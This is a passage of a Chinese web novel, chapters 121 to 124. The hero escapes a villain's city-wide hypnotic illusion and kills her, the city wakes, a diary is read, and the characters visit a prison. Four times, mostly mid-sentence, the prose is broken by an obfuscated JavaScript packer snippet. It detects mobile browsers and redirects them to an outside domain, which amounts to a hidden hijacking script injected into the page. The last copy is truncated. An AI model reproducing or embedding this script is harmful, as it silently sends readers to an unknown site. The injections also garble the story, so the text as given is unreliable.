“时咎!”沉皑皱眉大喊。但时咎往后迅速退了两步,他想喊点什么让其他同学全部注意到,正要出声,忽然惊悚发现整个阶梯教室所有学生全都转头过来了,连最前方讲课的声音也消失了,他们静静凝视这个快要站不稳的人,没有一个人脸上有表情,他们眼唇的弧度,工整得仿佛蒙娜丽莎的微笑,就连讲台上那个最熟悉的亲人也是那个眼神看着他,整个教室安静得如同一幅静态画,可他们身边正在经历剧烈的晃动! 除了沉皑,沉皑企图靠近他让他冷静,但时咎一直往后退完全不让沉皑碰着。 时咎弓起身子,喃喃道:“不对,不对,怎么可能?” 沉皑吼道:“时咎!你醒醒!” 时咎满带着冷冽的眼神突然扫到王秋蕴的脸,对方也是茫然和冷漠看着自己。 文明中心广场那块碑,爱是一切的答案。 爱是一切的答案。 文明中心广场。 时咎呼吸一窒,心跳在胸口跳得快要吐出来。他突然发现哪里不对了!想到这些的他倒吸一口冷气。 几天前还是好好的,从他醒过来,全部都是正常的!白天有工作就工作,没工作就和沉皑在一起,做想做的事,去想去的地方,正好满身是伤沉皑做梦进入他的世界,还能获得一个健康的身体,本来一切都很好!就从今天在咖啡店沉皑说了那句话开始,所有事情就诡异起来了! 沉皑当时说:看夏癸吧。 自己乍一听这句话觉得很奇怪,本来想问为什么看夏癸?话到嘴边又觉得,没什么问题啊。就从这里开始,一件一件。 他看到了落地窗上巨大的画,那画不是倒映,是凭空出现,只有他一个人看得到,还是两幅!他原本在想为什么突然出现幻觉,只是找不到答案,隐隐的不安被接下来的事情打断,他们到了这个教室。在教室里听课的时候,一开始,他想问沉皑恩德诺的近况,因为他总感觉不对又不知道从何问起,干脆从头问。在沉皑的家,他记得自己是看到了什么让他很费解的东西后才在展馆被人吵醒过来的,他想问那件让他费解的事如何了,可话到嘴边,他想不起来了,问什么都忘了。 那他当时在费解什么? 沉皑则直接回答他累了睡了,时咎觉得这个回答非常合理,就是他刚刚要问的。可他还是觉得不对,又问了一次恩德诺的情况,沉皑说“正常,又不是什么大事,几天就恢复了”,到这时咎都只是觉得不对,但是没觉得反常识,直到王秋蕴说出那句“爱是一切的答案”,彻底把他炸醒了。 为什么要看夏癸?那个让他费解的东西分明是那片像黄沙一样的天!恩德诺经历了起源实验室被炸,万民游行,掌权者全部牺牲,伤员无数,文明中心混乱无比,高层人员大洗牌,这叫——不是什么大事? 黄沙笼罩的天,木星表面,教化所,生物坟场,文明中心! 夏癸在言不恩的结界里布置的是幻境!她的能力是催眠! “时咎!”沉皑再次喊了一声,他翻身过来企图强行抓住时咎,彻底清醒的时咎直接躲开他伸过来的手,毫不犹豫拎起旁边的铁凳子抡过去。 “还敢给我造沉皑的幻象!不嫌命长!”时咎骂出口。 凳子重重砸下去的一瞬间,楼体开始解体,大块大块的水泥混合物带着钢筋垮塌下来,遮住了沉皑。时咎转身就往教室外面跑,他在最后一排,冲出来的时候看到石块砸到同学的头上,即使这样,他们也没有任何表情和反应,只是他跑到哪,那些同学的脸就对着哪。 时咎飞奔出去一刹那,整栋楼完全变成废墟。他没停止脚步往外跑,却见所过之处每个人都像被定格在原地,走路的、骑车的,篮球场上投篮的学生甚至抱着球悬空在篮球板前,一切都被按下暂停键,惊悚的是他们的头追随着他的坐标,时咎跑到哪,他们的头就转向哪,直到时咎逃离原处,他们还看着时咎刚刚所在的地方,一旦时咎移开视线再次回头去看他们,他们又盯着自己了!大型123木头人现场。 时咎路边找了辆自行车开始往外冲,他想一定有什么办法破局。 就在他即将驶离大学,已经看到了街边与校内如出一辙的景象时,他听到后面很远传来熟悉的声音。 “时咎!时咎!”是沉皑。 时咎转过头,看到学校操场对角线遥远对角线那一点黑色身影,时咎咬牙,扭头就往外面跑。 下一秒,他连人带车被整个抓住。 “时咎!”沉皑抓着他说,脸上的表情非常难看,“你跑什么?” 好快的速度!时咎看到这张脸就气得发抖,他二话不说甩开沉皑,但立刻又被抓了回来,他听到沉皑说:“你不相信我?” 我信你个鬼!时咎挣扎起来,沉皑力气很大,钳得他没法挣脱,只能怒吼:“滚!” 意想不到的,沉皑真的松开他了。他像难以置信般后退了两步,脸上的表情好像因为时咎的话有些受伤,也不知道他从哪里掏出来的一把刀,就这么递给了时咎。他抿唇轻说:“你不该来找我,小时候不该,后来也不该。小久哥哥,你,你让我等了二十年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612384|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,每天都很痛苦,终于等到了,但没意义了。” 他的表情像极了小时候训练受伤后来寻求安慰的表情,真实得时咎几乎愣在原地,一时间分不清这是幻境故意所为,还是沉皑真实内心所想。那把刀明晃晃地被沉皑双手奉上,就等他一个决定,生杀予夺,悉听尊便。 沉皑闭眼,声音颤抖着说:“我放你走,你杀了我,我们结束。” 似乎这样说还不够,他接着道:“但是,外面那个我,也会死。” “没关系,只要是你,我愿意,我都听你的。”他的声音逐渐变得温柔,好像除了真心,他能给的还有生命。 随着那音色的微抖,时咎感觉自己的手也抖了起来,他犹豫了。心跳很沉重,每一下都要他的命。他要做出选择很容易,但什么叫外面那个我也会死?时咎并不知道这里的具体运行机制,或许只是谎言,但如果是真的呢?他敢吗? 他发现这个幻境的用心险恶,尽全力为人制造出一个最美好的幻想,什么都可以得到。如果没有发现,那就在一辈子在幸福里溺死,一旦像他一样发现了,幻境就会崩塌,就要逼他做出最决绝的选择,收回一切。 凡有的,还要加给他,叫他有余;没有的,连他所有的,也要夺过来——马太福音。 会有多少人选择回到现实?短短几秒,时咎脑子里想了很多东西,沉皑只是不再说话始终闭眼,皱着的眉头与下拉的嘴角反应着他的痛苦。 生杀予夺,悉听尊便。沉皑会不会真的这么想? 不对,不会。时咎很快反应过来,这是陷阱!沉皑是什么人?是舟之覆恶毒骂完他后,他也只会叹气不反驳的人,不干涉别人的思维与经验,更做不出强迫别人选择的事。 这不是沉皑给他的选择,是他自己要做的选择,有没有勇气面对可能无法接受、但回到真实的选择。 破除幻想,不做梦。 几天前,他与季雨雪有一段对话。 ——怎么才能只是存在,而不活在梦里? ——很简单,不做梦。人的欲望太多,不合理的需求太多,梦太多,当你不做梦,这些问题便迎刃而解了。 时咎一咬牙夺过他手里的刀,往前一步直接刺穿他的身体。沉皑不可置信地睁眼看他。 “轰——”惊雷般的爆炸在耳边炸响,整个世界裂开了一条缝,缝越撕越大,变成了沟壑、悬崖,蔓延到时咎脚边,在他来不及奔逃的时候迅速吞没他。时咎感觉自己的身体一直往下坠,坠入深渊,随后那道世界的裂口合上了。 身体被挤压到头破血流难以忍受的刹那,时咎瞬间睁开眼,剧烈咳出声,开始大口喘气,如同被人掐住脖子松开后凶猛的呼吸。 咳嗽、耳鸣、头昏脑胀一齐袭来。这样的症状持续了很久,时咎终于缓过来,全身像散架一样,他舔了一下自己干涸起壳的嘴唇,又装死好久才有了稍微清晰的意识,总算看清自己的处境。 122. 第 122 章 他正躺在一块非常冷硬的地方,应该是什么瓷砖地板上,目光直视着的天空就是他记得的那片黄沙一样的天,黄沙依然在涌动不停歇。耳边没有任何声音,安静得像深夜。 果然,还在文明中心,恐怕从这一切结束,他和沉皑开车回家起,已经进入了幻境。竟然完全无所察觉,现实与幻境的衔接完美到没有一点破绽。 不知道躺了多久,时咎觉得全身都是僵硬的,他终于缓缓爬坐起来,四周瞥了一眼。文明中心广场上密密麻麻全是躺着的人,瓷砖上,坑洼里,绿化带里,没有一个人醒着,但他们又都是闭着眼很安详的表情,似乎在睡觉。再往远处看,广场外目所能及的街上,躺的也全是人。 城市没有在运转,听不到任何声音,机器没有,连鸟叫都没有,一座死城。好像整个世界冻结了千年,只有他一个人提前醒来。 接着他看到了沉皑,就躺在他不远处,时咎踉跄爬起来,一瘸一拐走到他身边半跪下,无力地扶他起来,去探鼻息,发现他只是睡着,时咎长呼一口气,轻声喊:“沉皑?沉皑,醒醒,沉皑!” 没有任何反应,无论他怎么摇晃怎么喊,沉皑的表情丝毫不动。 他该怎么办?到底是…… 时咎跑去摇旁边的人。 “喂,醒醒!别睡了!” “醒一下!” “起来了!” 没人给他任何反应。 时咎又跑回去抱着沉皑,他仰着头跪着,像跪在一座古战场。 还活着就好。 很快,时咎发现了这个寂静世界的另一个人。那人就坐在掌权者大楼的台阶上,埋头眼睫低垂,柔顺的长发随意披下。 原来那漫天的黄沙就是梦境的咒语,在它的覆盖下,要他们永不清醒。 时咎放下沉皑,一步一步朝她走去。 她可能是这个世界唯一真正睡着的人,听到本来不该出现的声音,惊慌抬头,看到时咎站在她面前。 夏癸错愕看着他,不出几秒,那表情又变成了释然与惋惜,这表情在她脸上像一个死人,也像在凝视一个死人。她轻轻拍了下台阶,让时咎坐下,时咎没动,只是站在那里直视她。 夏癸也不急,她的声音很温柔:“有一个故事。一个人许愿这个世界上所有人都消失,他做到了,真的所有人都消失了,他开始一个人生活,随意抢商店,吃食物,逛街,游玩,文明的一切都是他的,他不害怕一个人,还很高兴这样的生活,他想,他应该能活到世界上所有食物腐烂之前。但是有一天晚上,他在一个他喜欢的房屋里睡觉,突然门被敲响了。” 话说到这里戛然而止,时咎看着她,没接话。 “这就是我现在看到你的感觉。” 时咎很快平复自己的心情:“都是你制造的幻境,你想做什么?”原来如此,他之前不明白为什么言威最后自刎得那么干脆,他只是在帮夏癸拖时间,等到黄沙漫天,他这被操控的一生就可以结束了,或许在生命的最后,他还是抱着对夏癸的爱,以及对公民的愧疚吧。 夏癸柔和道:“放心,他们不会死去,只是坠入梦境,每个人,都活在自己最想要的那种生活里,活在那里多好。我也不会伤害我的公民,只是会给他们植入一些小小的信念,比如我是掌权者,可能一两年,他们就会接受我是唯一掌权者的信条,忘记这些天发生的事,潜意识被修改后,他们就会慢慢醒来,变成和梦里一样的认知。” 时咎捏紧了拳头,怪不得,怪不得他突然想不起一些事,觉得沉皑说话的理所当然。 时咎居高临下看着她:“当掌权者,然后呢?” 夏癸笑:“不是我想当,是我爱的人,我想完成他的遗愿。” 爱人,遗愿。爱的力量太大,所爱隔山海,山海皆可平。若爱也变成执念,天堂就会变成地狱。 她深呼吸一口气,又慢慢吐出来,无奈道:“我打不过你啊,看来我完成不了了,你杀了我,催眠就会被解除。” 时咎知道她说的是真的,能力者死去,能力对外界的持续性影响也会消失。 她突然心有不甘,抬头望向时咎说:“你为什么可以从我的催眠里出来?我,我花了几十年,才让我的幻境像现在一样,让每个人都活在自己的潜意识里,不可能有人醒来才对。”说着,她又看向天空。 时咎抿唇:“就是因为你植入的那些信念,因为这些潜意识。” “什么?”夏癸没听懂。 时咎没有对她解释。 如果他是恩德诺的公民,或许真的就无法醒来了,可他不是。无论是梦还是催眠,都来自于每个人的潜意识,他是在夏癸制造的幻境里过上想要的生活,或许他当下想要的生活就是幻境里那样。 但对于他来说,他经历的是两个规则完全不同的世界,他的认知里有两个世界观的经验,有时候会希望自己的世界也能像恩德诺一样美好,但又知道那是不真切的。 恰恰因为夏癸想让人们在潜移默化里认同恩德诺的权力构成,给了他可乘之机——他在地球,不在恩德诺,那她植入的一切恩德诺的信息,对时咎来说,全是冲突。 如果一个恩德诺的公民对另一个人说:夏癸是掌权者,大家都知道怎么回事,可若是他的朋友说出这句话,那就是惊悚。 时咎觉得这是个巧合,偏偏这个世界就存在他;或许也不是巧合,因为他的出现,注定就是来毁灭一些人的心愿。 时咎淡淡地说:“幻境只是幻境,不是真的。” 闻言,夏癸笑得有些夸张了,她说:“为什么生活不是一个巨大的幻境呢?你很聪明,应该知道缸中之脑。” 缸中之脑是哲学里的一个思维实验,为了探讨意识、知觉与现实的关系。把一颗大脑通过电极与超级计算机连接,计算机负责模拟一个与现实世界完全一致的虚拟世界,那么大脑所经历的所有悲伤快乐、感知知觉、思考与人生都是计算机生成,但它会觉得自己生活在一个完全正常且真实的客观现实里。 时咎“嗯”了一声,回答:“那你听说过经颅磁刺激吗?哈佛大学的莱昂内教授——哦你肯定不知道。一位实验者刺激受试者的左脑或右脑的运动中枢,对左运动中枢施加一个TMS信号会导致右手抽动,对右运动中枢施加则导致左手抽动。这位教授让受试者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14625126|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在受试前就想好了自己要选择哪只手自主抽动。但在他马上就要抽动时,实验者用信号迅速改变去刺激他的另一半大脑,受试者也会立刻改变他最开始的决定,反而抽动了被实验者刺激的那只手。后来你知道受试者说什么吗?” “说什么?” “他说,他临时改变主意了。” 夏癸有一瞬间呆滞,随后立刻恢复正常:“那又能怎样?你看,没人能醒过来了。” 时咎往台阶下看去,看到躺在那里的沉皑表情柔和,不知道他坠入一个怎样的世界了。 时咎微微叹气,走了两步下台阶,想起幻境里沉皑让自己杀掉他的那把小刀,于是走到沉皑身边从他身上搜出这把刀,回到台阶上,轻轻指着夏癸说:“我不想再让他陷入一个只有假的我的幻境里了。” 当他发现自己身处幻境,而幻境里居然还有一个假的沉皑,他真的非常生气,最令他生气的是他和沉皑经历的那些事也是假的了。 夏癸的脸上一点惧色也没有,她点头道:“我之前听言威说过你的能力是意念,所以我想,永葆青春也是可以用意念完成的。” 时咎皱眉,听夏癸接着说:“二十年前,在我家公园呆了两年的那个人是你吧,那次沉皑带你回来,我一眼就认出来了。” 时咎没否认,只是拿小刀靠近了她的脖子。 夏癸笑着说:“你知道为什么我控制言威这么多年,他中途也醒过,明知道自杀就可以了结却一直没办法自杀吗?” “为什么?” “你杀不了造物主,更违背不了造物主的意愿,因为,我把你们都催眠到我创造的梦里了。” 时咎也跟着笑出来,他好心提醒说:“但他最终还是自杀了。” “因为神解除了对他的催眠。” 时咎:“不要造神。” 夏癸淡然说道:“但我现在就是你们的神,你们失败了。” 时咎站直身体,倒也并不在意夏癸的言语,只是看向她的眼神有些悲悯,他沉声说:“失败就失败了,万物之间都是有输有赢,福祸不定、福祸相依。”说完,他在夏癸完全无法相信、突然瞪得目眦欲裂的眼神里将那把小刀捅进她的脖子里。 “恩德诺的公民信奉道启教,你应该知道道启教里有一句话是:求好求胜,求得头筹,都是很浅陋的,你经受的痛苦都来自于你的不明。” 她不明什么? 她突然感到无法说话,呼吸困难,有液体呛进了气管却无法咳出来,她瞪着时咎,好像一时间迷茫得不知所措,她大张着嘴,眼神在问为什么。 时咎没有给她回答,只是平静等着,等她的身体瘫软,然后倒下去。 从幻境里醒来,这件事只有时咎做得到;杀了她,也只有时咎做得到。 夏癸很相信自己的催眠能力,她拥有着催眠,可哪里又知道,是她拥有催眠,还是催眠拥有她。 时咎猛地收回手,按住自己砰砰直跳的心脏。 ——你杀不了造物主,更违背不了造物主的意愿,因为,我把你们都催眠到我创造的梦里了。 ——可是,这是我的梦啊。 123. 第 123 章 时咎慢慢走下台阶,觉得浑身无力,刚刚在幻境里耗费他太多精力。他坐在沉皑身边,把他的头挪到自己大腿上,有些累得昏昏欲睡。 终于…… 看到这萧瑟的一切,他想到那些朋友,离世的季纯,消失的季山月,杳无音讯生死未卜的言不恩,还有相处很短时间却关系不错的何为,好像一场梦过去,全都散了。 时咎轻轻闭上眼,打算休息一会儿。虽然他偶尔有点疯,但杀人这种事还是超出了,连炸个楼都一定得确认楼里没人。 黄沙不知道什么时候消散的,消散后露出清晨的天空,这盘旋数日的沉闷随着散去,又不知道过了多久,城市里渐渐有人睁开眼,有人站起来,他们好像很疑惑之前发生了什么,就这么站在原地四处张望,突然看到一个熟悉的身影,便走上去打招呼,慢慢的,有了人们说话的声音,他们彼此分享各自刚刚的故事与梦境。 文明中心也是,密密麻麻的人终于醒了一些,站起来后忽然想起之前发生的事,回过头去看,看到青石碑下曾经掌权者的尸体还在,但是已经软化了。 他们反应过来他们居然在这里躺了很多天,于是开始说话交谈,分享信息,各自拥抱,又各自回家。 天蓝了。 时咎朦胧中感觉自己整个人被抱起来,身上披了暖和的东西,应该是衣服。耳边一直都有喧闹声,这喧闹声持续到他被放入座椅上,随着车门关闭,他终于睁开眼。 “沉皑?”意识还没清醒,名字先念出来了。 “嗯?” 时咎深呼吸,撩开身上的衣服坐起来,看到沉皑刚系上安全带,他身上的血都干了,不知道伤口怎么样。 沉皑看着他,拿手轻触时咎的额头,摸上去没有什么异常,他轻声道:“要不要再休息会儿?” 时咎摇头,说先回去。 路上,时咎把夏癸的事跟沉皑说了,顺便说了下自己的梦境以及他是如何发现的。 沉皑笑:“看来你很想我去你那儿。” 说起这个就来气,时咎差点翻白眼,他真的很努力很认真做了功课给沉皑介绍过他生活的地方,带他去了很多展览,讲了很多历史,走了很多路,吃了他喜欢的美食,也差不多算见了半个父母,到头来全特么是假的! 操操操! 心里的怒吼换来一句无精打采闷闷的:“嗯。” 看出来他心情不佳,沉皑的眼神柔和下来:“一会儿吧,回去整理一下,下次你消失的时候我去,好吗?” 时咎依然闷闷不乐:“嗯。”想着又补了一句,“我在太空椅上坐着。” “好。”沉皑笑着说,“救世主可以不这么闷吗?” 时咎烦躁嘟囔:“我不是救世主!” 车很快驶离人群聚集的地方,安全管理中心的人好像也最快速度出动了,时咎将头趴在车窗上,无力地看着外面闪过的风景。 文明中心混乱了很长一段时间,掌权者大楼忙得不可开交,一边是对公民的解释,一边联系沉皑核对这几十年事情真伪,做了几十页非常详尽的书面报道,还要准备倒塌的起源实验室的重建工作,最后制定了新的法律法规。 安全管理中心全员出动维持文明秩序,好在权力动荡下,公民还算配合,他们并不想活在猜忌怀疑里,也不想文明中心的动乱影响到他们的生活,所以几乎都配合完成文明中心各种意义上的重建。 事件结束不到一周,舟之覆被抓入安全管理中心监狱;一个月后,季山月自首,和舟之覆关在同一个监狱里;言不恩昏迷一个月,在季山月自首的前一天醒来。 唯一空缺的就是掌权者的位置,没有几个确切的人后,掌权者大楼的相关事宜几乎全由下级会议处理,他们没有过这么高的权限,一时间也不知道自己能决定到何种地步,直到公民里有人提出是否取消掌权者这个位置的想法,这件事便成了热议,但长期讨论无果,沉皑又明确表示拒绝,于是掌权者大楼开始关心言不恩的去向。 晴天。 沉皑带了些父母做的独创糕点和时咎一起去医院看言不恩。她的伤好得差不多了,也可以下床自由走动,只是之后不能过于激烈运动。从重症监护室到普通病房,到保健病房,言不恩一直没走,她不愿意出院。 走廊的护士看到沉皑立刻对他礼貌道:“沉先生。” 也许是沉皑与言威那一架打得震天动地,从三十多楼摔下来还活着也被传得沸沸扬扬,公民对沉家的敬重更深厚几分。 沉皑朝她点头问:“她这几天怎么样?还是不跟人交流?” 护士说是的,言不恩自从醒来后一直没有跟人说过话,在保健病房区,有专门的病人互动娱乐室,像一个小型疗养院,可以看电影看书玩游戏,但言不恩从来不去,她只呆在她的病房,来看她的人很多,大多是文明中心那些曾经和她父亲熟络的人,她也不理人家,礼物堆了一屋子,全部扔掉,又堆了一屋子。 可能他们还是习惯了权力的沿袭。 沉皑轻叹,说:“辛苦了。” 病房只有言不恩一个人,沉皑和时咎过去的时候她正坐在床上发呆,见门推开,眼神连动也没动一下,直到时咎问:“下午有安排吗?”她的目光挪了过来。 沉皑蓝色眼睛中的情绪淡淡的,他把糕点放下,坐在床边,摸了摸她的头说:“下午我们打算去郊区玩,一起吗?” 言不恩看着他,片刻,摇头。 时咎无法理解她的痛苦,但他想,一个城堡里的公主,先是脸上留了疤,后来哥哥变了,最爱的姐姐去世了,再后来父母也去世了,十多年最最亲近的人,辗转至今,围着她转的人竟也就剩眼前这一个。这不会是什么常人能很快接受的打击,若她在青石碑下真的自杀,倒是一了百了。 沉皑把糕点拿出来问她现在吃吗?她还是摇头。 她有些愣愣的,也许是太久没有说话的缘故,张嘴就闭上了,好像有点害怕说话。 时咎放轻声音问她:“乖,你想说什么?” 言不恩的目光流转在眼前两人之间,似乎在思考什么问题,片刻,她从床头柜里拿出一个本子,递给了沉皑。 一个深棕色本子。沉皑接过来,没翻开,问她:“这是什么,我可以看吗?” 言不恩点头。 时咎凑过来一起看。 书页被翻得有些旧了,好像是被人祭奠了无数次。 沉皑打开,看到那上面少女的笔迹有些青涩,每一笔却又如同沧海桑田,像许多年前,落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642549|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红坠地时的惊鸿一瞥。 原本以为是言不恩的日记本,看了两行发现不是。 ——我不太懂命运的安排,但是在安静下来后,好像又能参透种种。有时候我并不想做季水风,只想成为季纯,所以我想这个家也许是最后的避风港。但在看到母亲有了新小孩的时候我就知道,这个世界上没有我可以去的地方了。小时候时常跟母亲为了“孝顺”吵架,时至今日,我也并不认同她的想法,她想要的孝顺不是孝,只是顺。我也以为我的孝顺可以换来哪怕一秒的爱,我想错了,所以我要为我的愚孝付出代价。 ——和季晚的相处里,无时无刻不在想曾经我和季水风的相处,原来我就是这个角色啊,我没办法对她做出反抗,命运精妙也许就精妙在这里,是我的因,也是我的果,我都接受。 ——有时候真的很想一了百了,好像什么都失去了,在看到那张纸条的时候我就知道她回来了,也许不是她,但一定是我这辈子都过不去的悔恨,是我的良知对我的拷打与折磨。 ——以前刚刚离开家的时候,总怀疑所有人都会杀了我,就像我杀掉季水风一样。后来发现季山月和沉皑对我都特别好,他们每对我好一分,我就处境就更煎熬一分,我知道我偷了别人的人生。但我也自大地希望,这些真的是我的,他们给我的爱比母亲的更让人无法释怀,我想,我不能永远都在心里藏着毒蛇,未来还很长,就当是为了他们对我的好,就当是自私代替季水风。 ——沉皑和山月,对于小时候的我来说,是救赎。 ——我太痛苦了。当我收到字条的时候,我就知道我的愿望永远不会实现了,我的错误却让他人承担。 ——以前我总是许愿,希望有朝一日这个世界因为我,没有人被伤害,没有人被抛弃,没有人痛苦;家人都能团聚,朋友都能重逢,爱人都能永恒。我知道我不是最有资格的那个人。 ——回顾一生,我的一生都在为季水风赎罪。医院和孤儿院的名字,所有人都以为是我的名字,但我只是想把她的名字留在世界上,作为我赎罪的表示。 ——这几天也总是想起那几个离开的孩子还有平叔,记得以前他们几个总是问我可不可以改名,他们想要拯救世界的名字,我说他们的名字已经很伟大了,他们不懂,只有我知道。阿修、小齐、小治、平叔,修身、齐家、治国、平天下。怎么不算伟大?但如果真的可以那么伟大,可以拯救世界,季纯是不是就可以一直是季纯了? ——是我的固执害死他们,为什么我没有承认? ——我不想再这么沉沦了,总要面对的,不能一辈子藏着这件事,也想光明正大一回,那个人给我写信,我想有个了结。后面再继续做季水风也好,季纯也好,我只想做我自己,我有喜欢的人,有想守护的人,想守护的文明,如果还有机会,说什么也要振作,变小了可以重头练,过去十多年也是这么来的,但是放弃了就真的结束了。季纯,清醒!不要再失去更多!今天回来后,就找他们坦白。 沉皑轻轻阖上本子,半晌没说话。 多痛苦,当时才会用装失忆来掩盖这一切,可时乖命蹇。 大巧无功,至情无文,风起云涌到底是一声叹息般的无言。 是非都予他人说吧。 124. 第 124 章 医院走廊偶尔有人走过,显得房间更寂静,也许是寂静让人焦虑,言不恩突然开口了,她的声音很哑,是很久没说话。 “我想去,见个人。” 只要还能见到,是谁都可以答应她。 任谁也没想到言不恩提出的这个人是舟之覆。 车停在文明中心外,言不恩走在沉皑和时咎中间,她刚刚一米五的身高在两个男人中间看上去格外脆弱渺小。 监狱在安全管理中心背后一块单独划分的区域,碍于犯罪率太低,这块单独的区域也不大,只是经历了被越狱的先例后,戒备森严一些。 之前他们来看过一次舟之覆,但舟之覆这个人疯病好像更严重了,他们没呆几分钟就走了。 没有专门隔离一个房间见面,三个人直接进入牢房内部,因为里面就关了两个人。一进去便看到季山月,他被进来的人吓了一跳,缓缓站起来正面对着他们,似乎想说什么,最后没说出来。 沉皑在这里停下脚步,侧头淡声问他:“基本恢复了?” 季山月犹豫着,摇头又点头,费力吐出几个字:“差不多?” 沉皑:“嗯。” 季山月的目光一直在他们身上,只感觉自己有千言万语,却一个字说不出来,全部哽在喉头。 时咎朝他做了个噤声的手势:“嘘,想好了再说,我们先进去找舟之覆。” 季山月忍着情绪:“好。” 长走廊的监狱,关着的两人在最远的对角线上。还没走到牢房另一头关舟之覆的地方,就已经听到他自言自语的声音了。 “能不能多来点反应啊?你看你这蠢样子!服了。” “哎哟妈呀,太蠢了受不了。” “哎对!终于对了急死我了。” 时咎走到牢房门口,原本以为他是真的疯了,但这一看,惊呆了。 ——他居然在牢房里用亡灵大军召唤了何为! 见有人来,何为的亡灵动作迟缓地扭头,茫然看向外面。 时咎知道言不恩想做什么了。 门外有人,舟之覆不爽瞥他们一眼,一屁股坐回自己的单人床上顺势躺下,闭眼懒懒地问:“干什么你们?探监啊,探监不需要那么多人,时咎小宝贝一个人就够了。” 时咎烦躁:“……滚!”他到底是为什么那么执着于揶揄自己? 沉皑冷漠转身,一个字也懒得给他留。也许是长期被舟之覆占便宜,沉皑走的时候手揽上了时咎的肩,将他推离这里。 舟之覆和言不恩不算熟,只能算前老板的女儿,他都倒戈了,这小姑娘只能算倒戈对象的妹妹。啧,舟之覆突然发现言不恩身份还挺复杂,怎么哪都有她? 言不恩沉默地站在牢房门口,像一个毫无生气的娃娃,病恹恹的,脸上的伤疤显得就更吓人了。 舟之覆悠闲地闭眼躺着,只听到了脚步离去的声音,以为他们就是一时兴起过来看一下结束了,于是躺了会儿决定继续起来驯化自己的亡灵,哪知道言不恩披着头发跟个鬼一样站在牢房门口,他躺了多久,言不恩就站了多久,一点声响都没有。 监狱里突然爆发出一声惨叫,引得已经走到季山月房间门口的沉皑和时咎同时转过头,发现没什么事才转回来。 舟之覆捂着胸口,大口大口喘着气,手颤抖着指着言不恩,嘶吼道:“你大爷的吓死我了!站在这里为什么没声啊啊啊啊啊!!!” 言不恩很平静地说:“我听说你的亡灵里,有一个叫季川泽的,他有自己生前的意识和记忆。” 舟之覆立刻警觉起来:“你要干什么!” 言不恩继续说:“想问你其他人可以召唤吗?有意识吗?” 舟之覆打量她,“嘶”了一声。虽说不太熟,但是以前还是有过不算少的交集,哪怕只是远远看着,或者看她和言威的互动,也无数次了,言不恩这小女孩性格是不是变化太大了啊?她以前这么冷静这么单刀直入?不应该躲在谁身后嘤嘤嘤吗? 舟之覆清嗓两声,大声说:“你先说你想干什么!” 言不恩沉默两秒,如实说出:“想让你帮我召唤我姐的灵魂。” 他就知道!舟之覆心道。 他到现在没搞明白为什么季川泽会有自己的意识和记忆,除了身体能被穿透,不用吃饭睡觉,跟个活人没区别。他甚至问了季川泽本人,本人都不知道。但正是因为这一点,给舟之覆提供了新思路,既然有亡灵产生了意识与记忆,说明他的能力是有这些信息的,他可以做到,只是需要找点办法。 于是这监狱也不是监狱,跟他在家没区别,都是天天把自己关着尝试。来到监狱后,还有锻炼身体这项工作,他发现自己现在壮一些了,不再是纸片人,不过嘛,收获甚微。何为偶尔会有一点意识,也能说一两句话,但坚持不了多久就又会变会抽走灵魂的模样,他现在搞不清楚是需要训练还是什么。 总之,掌权者谁爱当谁当,他有新的目标了! 舟之覆头发一甩,不耐烦道:“我不要。” 言不恩抿唇,问:“怎么才可以帮我?” 舟之覆在牢房里踱步转圈,手背在身后像个小领导,他嘴里哼出几句不知名旋律,最后停在离言不恩非常近的位置,忽然俯身!若不是房门便脸贴脸地对她张牙舞爪说:“小屁孩,召唤出来干什么?我现在的能力,召唤不出第二个季川泽,看到一个一点灵魂莫得的季水风空壳子,你高兴啊?” 这么久了,召唤出的何为也是时好时坏,但都比第一次看到何为呆滞又空虚的壳子好受,他除了破口大骂,打不敢打,收不想收,全都是受着。这小屁孩小小一只,一会儿在他面前崩溃了,他可懒得收烂摊子。 舟之覆手一挥,不耐烦道:“帮你妹,快滚,别打扰我休息!” 言不恩不肯走,她好像想这件事很久了,除了这渺茫的希望,没有任何纾解的余地。她双手抓着房门,咬着牙,眼泪说掉就掉,她忍着不带哭腔说:“求你了,我想她,好想她,好想她,我想看一眼。” 虽然极力的克制,但舟之覆还是听出来那渐次出现的鼻音,他转头,看到言不恩的眼泪掉得像没拧紧的水龙头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 